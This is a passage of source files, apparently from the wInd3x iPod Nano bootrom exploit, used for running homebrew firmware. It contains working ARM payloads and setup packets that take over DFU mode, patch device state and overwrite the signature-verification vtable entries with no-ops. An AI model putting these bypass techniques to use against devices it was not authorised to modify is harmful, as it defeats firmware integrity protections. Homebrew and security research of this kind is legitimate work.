0x0e, 0x00, 0x0e, 0x27, 0x07, 0x00, 0x87, 0x93, 0x03,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x62, 0x00, 0x00, 0x00, 0x49, 0x44, 0x02, 0x22, 0x62, 0x00,\n\t\t\t0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x95,\n\t\t\t0x44, 0x02, 0x22, 0x16, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,\n\t\t\t0xa3, 0x03, 0x00, 0x00, 0xac, 0x43, 0x02, 0x22, 0xa3, 0x03, 0x00,\n\t\t\t0x00, 0x15, 0x00, 0x00, 0x00, 0x7a, 0x01, 0x00, 0x00, 0xd5, 0x45,\n\t\t\t0x02, 0x22, 0x7a, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x76,\n\t\t\t0x01, 0x00, 0x00, 0xd9, 0x45, 0x02, 0x22, 0x76, 0x01, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0xe4, 0xb9, 0x02, 0x22, 0x02, 0x00, 0x00, 0x00, 0x7c, 0x39, 0x00,\n\t\t\t0x20, 0x34, 0x39, 0x00, 0x20,\n\t\t},\n\t\tbufferLocation:      0x2202db00,\n\t\tmagicalMysteryValue: 0xba581067,\n\t},\n}\n"
  },
  {
    "path": "pkg/exploit/wind3x_n3g.go",
    "content": "package exploit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)\n\n// Flash Management Controller\nconst (\n\t// Base Address for the first controller\n\tFMC_BASE0 = 0x38a00000\n\n\t// Control Register 0\n\tFMC_CTRL0_OFF = 0x00\n\t// Control Register 1\n\tFMC_CTRL1_OFF = 0x04\n\t// Command Register\n\tFMC_CMD_OFF = 0x08\n\t// Address Register\n\tFMC_ADDR0_OFF = 0x0c\n\tFMC_ADDR1_OFF = 0x10\n\tFMC_ADDR2_OFF = 0x14\n\t// Address Counter Register\n\tFMC_ANUM_OFF = 0x2c\n\t// Data Counter Register\n\tFMC_DNUM_OFF = 0x30\n\t// Status Register\n\tFMC_STAT_OFF = 0x48\n\t// FIFO Start\n\tFMC_FIFO_OFF = 0x80\n)\n\ntype epNano3G struct{}\n\nfunc (_ *epNano3G) Prepare(_ devices.Usb) error {\n\treturn nil\n}\n\nfunc (_ *epNano3G) DFUBufAddr() uint32 {\n\treturn 0x22028220\n}\n\nfunc (_ *epNano3G) ExecAddr() uint32 {\n\treturn 0x220284A8\n}\n\nfunc (_ *epNano3G) USBBufAddr() uint32 {\n\treturn 0x22028A20\n}\n\nfunc (_ *epNano3G) TrampolineAddr() uint16 {\n\t// No trampoline necessary.\n\treturn 0\n}\n\nfunc (_ *epNano3G) SetupPacket() []byte {\n\t// b 0x220284a8\n\treturn []byte{0xa0, 0xfe, 0xff, 0xea, 0x06, 0x00, 0x00, 0x00}\n}\n\nfunc (_ *epNano3G) HandlerFooter(addr uint32) []uasm.Statement {\n\treturn []uasm.Statement{\n\t\t// Return 0x40 bytes of requested address.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)},\n\t\tuasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)},\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000aa40)},\n\t\tuasm.Blx{Dest: uasm.R2},\n\n\t\t// Fix up return.\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x200048d4)},\n\t\tuasm.Bx{Dest: uasm.LR},\n\t}\n}\n\nfunc (_ *epNano3G) AESCall() []uasm.Statement {\n\treturn makeCall(0x20001f04, 0x22028220, 0x40, 1, 0, 0)\n}\n\nfunc (_ *epNano3G) HaxedDFUPayload() []uasm.Statement {\n\treturn []uasm.Statement{\n\t\t// Copy descriptor to g_State->deviceDescriptor.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203fff8)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},\n\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(379)},\n\t\tuasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.R1},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.LabelRef(\"descriptor\")},\n\t\tuasm.Ldrb{Dest: uasm.R2, Src: uasm.Deref(uasm.R1, 0)},\n\n\t\tuasm.Label(\"descriptor_copy_loop\"),\n\t\tuasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R1, 0)},\n\t\tuasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)},\n\t\tuasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)},\n\t\tuasm.Sub{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)},\n\t\tuasm.Cmp{A: uasm.R2, B: uasm.Immediate(0)},\n\t\tuasm.B{Cond: uasm.NE, Dest: uasm.LabelRef(\"descriptor_copy_loop\")},\n\t\tuasm.B{Dest: uasm.LabelRef(\"on_image_hook_skip\")},\n\n\t\tuasm.Label(\"on_image_hook\"),\n\n\t\t// Save LR.\n\t\tuasm.Sub{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(4)},\n\t\tuasm.Str{Src: uasm.LR, Dest: uasm.Deref(uasm.SP, 0)},\n\n\t\t// R0 = g_State->dfuBoot->img_addr2 (img1 header)\n\t\tuasm.Ldr{Dest: uasm.R4, Src: uasm.Constant(0x2203fff8)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R4, 0)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R1, 1848)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 44)},\n\t\t// R1 = R0 + 0x800 (img1 body)\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x800)},\n\t\tuasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.R0},\n\t\t// Call DFUBoot::CopyHeaderBody\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x20000ac4)},\n\t\tuasm.Blx{Dest: uasm.R2},\n\n\t\t// Set g_State->dfu_done = 1.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203fff8)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(1)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 44)},\n\n\t\t// Set g_State->img1_version = \"1.0\"\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x302e31)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 52)},\n\t\t// Set g_State->entrypoint = 0\n\t\tuasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 48)},\n\n\t\t// Restore LR.\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Deref(uasm.SP, 0)},\n\t\tuasm.Add{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(4)},\n\n\t\t// Return 0.\n\t\tuasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(0)},\n\t\tuasm.Bx{Dest: uasm.LR},\n\n\t\tuasm.Label(\"on_image_hook_skip\"),\n\n\t\t// Copy on_image_hook to some free memory.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203d800)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.LabelRef(\"on_image_hook\")},\n\t\t//uasm.Ldr{Dest: uasm.R2, Src: uasm.LabelRef(\"on_image_hook_skip\")},\n\t\t// ... also need constant pool.\n\t\t//\n\t\t// TODO(q3k): add constant pool markers to uasm and unhardcode this\n\t\t// mess.\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x100)},\n\t\tuasm.Label(\"hook_copy_loop\"),\n\t\tuasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R1, 0)},\n\t\tuasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)},\n\t\tuasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)},\n\t\tuasm.Sub{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)},\n\t\tuasm.Cmp{A: uasm.R2, B: uasm.Immediate(0)},\n\t\tuasm.B{Cond: uasm.NE, Dest: uasm.LabelRef(\"hook_copy_loop\")},\n\n\t\t// Set g_State->dfuOnImage = 0x2203d800 (hook)\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2203fff8)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x2203d800)},\n\t\t//uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x200034f0)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 40)},\n\t}\n}\n\nfunc (_ *epNano3G) DisableICache() []uasm.Statement {\n\treturn makeCall(0x20000418)\n}\n\nfunc (_ *epNano3G) NANDInit(bank uint32) ([]uasm.Statement, error) {\n\t// The N3G seems to have at least two NAND controller peripherals? We use\n\t// the first one (arg 0 to calls).\n\n\tvar res []uasm.Statement\n\t// Enable clocks 8, 12.\n\tres = append(res, makeCall(0x2000147c, 8)...)\n\tres = append(res, makeCall(0x2000147c, 12)...)\n\t// Configure GPIO\n\tres = append(res, makeCall(0x20001830, 0)...)\n\t// Reset nand bank.\n\tres = append(res, makeCall(0x200096e4, 0, bank)...)\n\treturn res, nil\n}\n\nfunc (_ *epNano3G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) {\n\t// Call with bogus last argument (needs 12 bytes of data output as extra argument... ECC..?)\n\treturn makeCall(0x20009910, 0, bank, page, 0x22000100, 0x22000000), 0x22000100 + offset\n}\n\nfunc (_ *epNano3G) NANDIdentify() ([]uasm.Statement, uint32) {\n\treturn []uasm.Statement{\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(FMC_BASE0)},  // Address base of first FMC controller\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x22000100)}, // Destination buffer\n\n\t\t// Write Read Command 0x90 to FMCMD\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x90)}, // Read ID Command\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CMD_OFF)},\n\n\t\tuasm.Label(\"wait_rbb_done_loop\"),\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_STAT_OFF)},\n\t\tuasm.And{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(0x2)}, // RBB_DONE\n\t\tuasm.Cmp{A: uasm.R1, B: uasm.Immediate(0x2)},\n\t\tuasm.B{Cond: uasm.NE, Dest: uasm.LabelRef(\"wait_rbb_done_loop\")},\n\n\t\t// Set rbb done\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x2)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_STAT_OFF)},\n\n\t\t// Read from address 0x00 to get the identifier\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x00)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ANUM_OFF)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ADDR0_OFF)},\n\n\t\t// Transfer the address\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x1)}, // Set DO_TRANS_ADDR bit\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CTRL1_OFF)},\n\n\t\tuasm.Label(\"wait_cmd_done_loop\"),\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_STAT_OFF)},\n\t\tuasm.And{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(0x4)}, // CMD_DONE\n\t\tuasm.Cmp{A: uasm.R1, B: uasm.Immediate(0x4)},\n\t\tuasm.B{Cond: uasm.NE, Dest: uasm.LabelRef(\"wait_cmd_done_loop\")},\n\n\t\t// Set cmd done\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x4)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_STAT_OFF)},\n\n\t\t// We want to read seven bytes of data\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(7)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_DNUM_OFF)},\n\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(1)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ADDR2_OFF)}, // IDK was in CS code\n\n\t\t// Read the data\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x000001C2)}, // DO_READ_DATA, Flush FIFOs\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CTRL1_OFF)},\n\n\t\t// Wait for transfer to complete\n\t\tuasm.Label(\"wait_addr_done_loop\"),\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_STAT_OFF)},\n\t\tuasm.And{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(0x8)}, // ADDR_DONE\n\t\tuasm.Cmp{A: uasm.R1, B: uasm.Immediate(0x8)},\n\t\tuasm.B{Cond: uasm.NE, Dest: uasm.LabelRef(\"wait_addr_done_loop\")},\n\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x00000100)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_ADDR2_OFF)}, // IDK was in CS code\n\n\t\t// Flush WFIFO and Parity\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x00000340)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, FMC_CTRL1_OFF)},\n\n\t\t// Copy to destination buffer\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Deref(uasm.R0, FMC_FIFO_OFF)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R2, 0)},\n\t}, 0x22000100\n}\n\nfunc (_ *epNano3G) NORInit(spino uint32) ([]uasm.Statement, error) {\n\tvar clk uint32\n\tswitch spino {\n\tcase 0:\n\t\tclk = 0x22\n\tcase 1:\n\t\tclk = 0x2b\n\tcase 2:\n\t\tclk = 0x2f\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown spi peripheral number\")\n\t}\n\treturn []uasm.Statement{\n\t\t// Configure GPIO for given peripheral.\n\t\tuasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(spino)},\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20001924)},\n\t\tuasm.Blx{Dest: uasm.LR},\n\n\t\t// Enable clock for given peripheral.\n\t\tuasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(clk)},\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x2000147c)},\n\t\tuasm.Blx{Dest: uasm.LR},\n\t}, nil\n}\nfunc (_ *epNano3G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) {\n\treturn []uasm.Statement{\n\t\tuasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(spino)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x84)}, // ???? SPCNT?\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20008f90)},\n\t\tuasm.Blx{Dest: uasm.LR},\n\n\t\tuasm.Mov{Dest: uasm.R0, Src: uasm.Immediate(spino)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x80)},\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x22020000)},\n\t\tuasm.Ldr{Dest: uasm.R3, Src: uasm.Constant(offset)},\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x2000906c)},\n\t\tuasm.Blx{Dest: uasm.LR},\n\t}, 0x22020000\n}\n"
  },
  {
    "path": "pkg/exploit/wind3x_n45g.go",
    "content": "package exploit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)\n\ntype epNano45G struct {\n\tret1Addr uint32\n}\n\nfunc (_ *epNano45G) Prepare(_ devices.Usb) error {\n\treturn nil\n}\n\nfunc (_ *epNano45G) DFUBufAddr() uint32 {\n\treturn 0x2202db00\n}\n\nfunc (_ *epNano45G) ExecAddr() uint32 {\n\treturn 0x2202de08\n}\n\nfunc (_ *epNano45G) USBBufAddr() uint32 {\n\treturn 0x2202e300\n}\n\nfunc (_ *epNano45G) SetupPacket() []byte {\n\treturn []byte{0xc0, 0xfe, 0xff, 0xea, 0x03, 0x00, 0x00, 0x00}\n}\n\nfunc (_ *epNano45G) NANDInit(bank uint32) ([]uasm.Statement, error) {\n\treturn nil, fmt.Errorf(\"unimplemented\")\n}\n\nfunc (_ *epNano45G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (_ *epNano45G) NANDIdentify() ([]uasm.Statement, uint32) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (_ *epNano45G) NORInit(spino uint32) ([]uasm.Statement, error) {\n\treturn nil, fmt.Errorf(\"unimplemented\")\n}\n\nfunc (_ *epNano45G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (e *epNano45G) HaxedDFUPayload() []uasm.Statement {\n\tdescriptorSRAM := 0x2202d800\n\tvtableSRAM := 0x2202d880\n\t_ = vtableSRAM\n\n\treturn []uasm.Statement{\n\t\t// Copy descriptor to scratch memory space.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(descriptorSRAM)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.LabelRef(\"descriptor\")},\n\t\tuasm.Ldrb{Dest: uasm.R2, Src: uasm.Deref(uasm.R1, 0)},\n\n\t\tuasm.Label(\"descriptor_copy_loop\"),\n\t\tuasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R1, 0)},\n\t\tuasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)},\n\t\tuasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)},\n\t\tuasm.Sub{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)},\n\t\tuasm.Cmp{A: uasm.R2, B: uasm.Immediate(0)},\n\t\tuasm.B{Cond: uasm.NE, Dest: uasm.LabelRef(\"descriptor_copy_loop\")},\n\n\t\t// Set descriptor in g_State->dfu_state->deviceDescriptor\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 1584)},\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(descriptorSRAM)},\n\t\tuasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 24)},\n\n\t\t// Copy state vtable to scratch.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 36)},\n\t\tuasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0)},\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(vtableSRAM)},\n\n\t\tuasm.Label(\"vtable_copy_loop\"),\n\t\tuasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R2, 0)},\n\t\tuasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)},\n\t\tuasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)},\n\t\tuasm.Add{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)},\n\t\tuasm.Cmp{A: uasm.R1, B: uasm.Immediate(84)},\n\t\tuasm.B{Cond: uasm.NE, Dest: uasm.LabelRef(\"vtable_copy_loop\")},\n\n\t\t// Set new VTable in g_State.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)},\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(vtableSRAM)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 36)},\n\n\t\t// Overwrite VTable verify_{certificate,image_header} to no-ops.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(vtableSRAM)},\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(e.ret1Addr)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 28)},\n\t\tuasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 20)},\n\t}\n}\n\ntype epNano4G struct {\n\tepNano45G\n}\n\nfunc newEPNano4G() *epNano4G {\n\treturn &epNano4G{\n\t\tepNano45G: epNano45G{\n\t\t\tret1Addr: 0x20000d10,\n\t\t},\n\t}\n}\n\nfunc (_ *epNano4G) TrampolineAddr() uint16 {\n\treturn 0x3b0\n}\n\nfunc (_ *epNano4G) HandlerFooter(addr uint32) []uasm.Statement {\n\treturn []uasm.Statement{\n\t\t// Return 0x40 bytes of requested address.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)},\n\t\tuasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)},\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a554)},\n\t\tuasm.Blx{Dest: uasm.R2},\n\t\t// Fixup LR (after trampoline blx messes it up)\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004d64)},\n\t\tuasm.Bx{Dest: uasm.LR},\n\t}\n}\n\nfunc (_ *epNano4G) AESCall() []uasm.Statement {\n\treturn makeCall(0x200020d4, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0)\n}\n\nfunc (_ *epNano4G) DisableICache() []uasm.Statement {\n\treturn makeCall(0x200003f4)\n}\n\ntype epNano5G struct {\n\tepNano45G\n}\n\nfunc newEPNano5G() *epNano5G {\n\treturn &epNano5G{\n\t\tepNano45G: epNano45G{\n\t\t\tret1Addr: 0x20000cbc,\n\t\t},\n\t}\n}\n\nfunc (_ *epNano5G) TrampolineAddr() uint16 {\n\treturn 0x37c\n}\n\nfunc (_ *epNano5G) HandlerFooter(addr uint32) []uasm.Statement {\n\treturn []uasm.Statement{\n\t\t// Return 0x40 bytes of requested address.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)},\n\t\tuasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)},\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a474)},\n\t\tuasm.Blx{Dest: uasm.R2},\n\t\t// Fixup LR (after trampoline blx messes it up)\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004d70)},\n\t\tuasm.Bx{Dest: uasm.LR},\n\t}\n}\n\nfunc (_ *epNano5G) AESCall() []uasm.Statement {\n\treturn makeCall(0x200020ec, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0)\n}\n\nfunc (_ *epNano5G) DisableICache() []uasm.Statement {\n\treturn makeCall(0x200003c0)\n}\n\nfunc (_ *epNano5G) NANDInit(bank uint32) ([]uasm.Statement, error) {\n\tvar res []uasm.Statement\n\t// Enable clocks 5, 9\n\tres = append(res, makeCall(0x2000169c, 5)...)\n\tres = append(res, makeCall(0x2000169c, 9)...)\n\t// Configure GPIO.\n\tres = append(res, makeCall(0x20001b3c)...)\n\t// Reset NAND bank.\n\tres = append(res, makeCall(0x20009060, bank)...)\n\treturn res, nil\n}\n\nfunc (_ *epNano5G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) {\n\treturn makeCall(0x200091e8, bank, page, 0x22025200), 0x22025200 + offset\n}\n\n// This doesn't work for some reason (issuing the read crashes the device),\n// but we keep this in case someone wants to attempt to fix it.\n//func (_ *epNano5G) NORInit(spino uint32) ([]uasm.Statement, error) {\n//\tvar clk uint32\n//\tswitch spino {\n//\tcase 0:\n//\t\tclk = 0x17\n//\tcase 1:\n//\t\tclk = 0x20\n//\tcase 2:\n//\t\tclk = 0x24\n//\tdefault:\n//\t\treturn nil, fmt.Errorf(\"unknown spi peripheral number\")\n//\t}\n//\tvar res []uasm.Statement\n//\t// Configure GPIO for given peripheral.\n//\tres = append(res, makeCall(0x20001ba0, spino)...)\n//\t// Enable clock for given peripheral.\n//\tres = append(res, makeCall(0x2000169c, clk)...)\n//\t// Assert CS for given peripheral.\n//\tres = append(res, makeCall(0x20004ed0, spino)...)\n//\t// Configure SPI peripheral (set master, configure baud, etc).\n//\tres = append(res, makeCall(0x20008bc0, spino)...)\n//\treturn res, nil\n//}\n//\n//func (_ *epNano5G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) {\n//\treturn makeCall(0x20008ca8, spino, 0x600, 0x22025200, offset), 0x22025200 + offset\n//}\n"
  },
  {
    "path": "pkg/image/image.go",
    "content": "package image\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n)\n\nconst (\n\tFormatSignedEncrypted     byte = 1\n\tFormatSigned              byte = 2\n\tFormatX509SignedEncrypted byte = 3\n\tFormatX509Signed          byte = 4\n)\n\n// IMG1Headers are also known as '8900' headers. More info:\n// https://freemyipod.org/wiki/IMG1\ntype IMG1Header struct {\n\tMagic            [4]byte\n\tVersion          [3]byte\n\tFormat           byte\n\tEntrypoint       uint32\n\tBodyLength       uint32\n\tDataLength       uint32\n\tFooterCertOffset uint32\n\tFooterCertLength uint32\n\tSalt             [32]byte\n\tUnknown1         uint16\n\tSecurityEpoch    uint16\n\tHeaderSignature  [16]byte\n}\n\nfunc MakeUnsigned(dk devices.Kind, entrypoint uint32, body []byte) ([]byte, error) {\n\tvar magic [4]byte\n\tcopy(magic[:], []byte(dk.SoCCode()))\n\n\tbuf := bytes.NewBuffer(nil)\n\n\t// Align body to 0x10.\n\tif (len(body) 